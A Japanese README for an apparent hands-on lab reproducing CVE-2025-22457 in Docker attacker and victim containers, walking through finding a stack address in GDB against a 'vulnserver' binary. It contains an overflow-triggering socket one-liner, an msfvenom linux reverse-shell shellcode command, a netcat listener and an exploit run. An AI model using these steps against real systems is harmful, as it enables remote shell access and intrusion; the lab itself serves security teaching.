
CVE-2025-22457を再現するハンズオンラボ:Dockerの攻撃者/被害者コンテナをセットアップし、GDBでスタックアドレスを特定し、msfvenomのリバースシェルエクスプロイトを実行します。
Windowsを使用する場合は、wslを開いて実行できます
chmod +x setup_environment.sh
./setup_environment.sh
メモリアドレスとIPは環境ごとに動的に変わるため、手動で見つけてexploit.pyスクリプトを更新する必要があります。
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
この手順の目標は、payloadが正確にジャンプできるよう、安定したスタックアドレスを見つけることです。
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
ブレークポイントをトリガー: attacker dockerを使用し、以下のコマンドを実行してテストpayloadを送信します。これによりGDBがブレークポイントで停止します。 注意: <VICTIM_IP>を手順1で表示されたVictim IPに置き換えてください。
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
アドレスを見つけて記録: GDBがあるターミナルウィンドウに戻ると、プログラムはすでに停止しているはずです。以下のコマンドを実行してスタックを確認します:
(gdb) x/200wx $esp
出力の中で、0x43434343 ('C'を表す) で構成される領域を見つけます。この領域の中央から適当に1つのアドレス (例えば 0xffffd580) を選んでコピーします。これがstack_addressです。
テキストエディタでexploit.py内のstack_addressを、先ほどコピーしたaddressに更新します
attackerコンテナのシェルで、msfvenomコマンドを実行してshellcodeを生成します。 注意: <ATTACKER_IP>を手順1で表示されたAttacker IPに置き換えてください。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
msfvenomが出力したbuf = b""... コード全体をコピーし、exploit.pyファイル内の既存のbuf変数部分を完全に置き換えます。
nc -lvnp 4444
以下の2つの方法が使用できます 方法1
./vulnserver
方法2
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
結果の確認: netcatリスナーがあるウィンドウに切り替えます。すべてうまくいけば、接続が確立され、対話可能なshellが取得できます。whoami、ls -laなどのコマンドを入力して確認できます。
GDBでquitを入力し、その後コンテナシェルでexitを入力します。
docker stop vic atac
docker network rm 111550082_net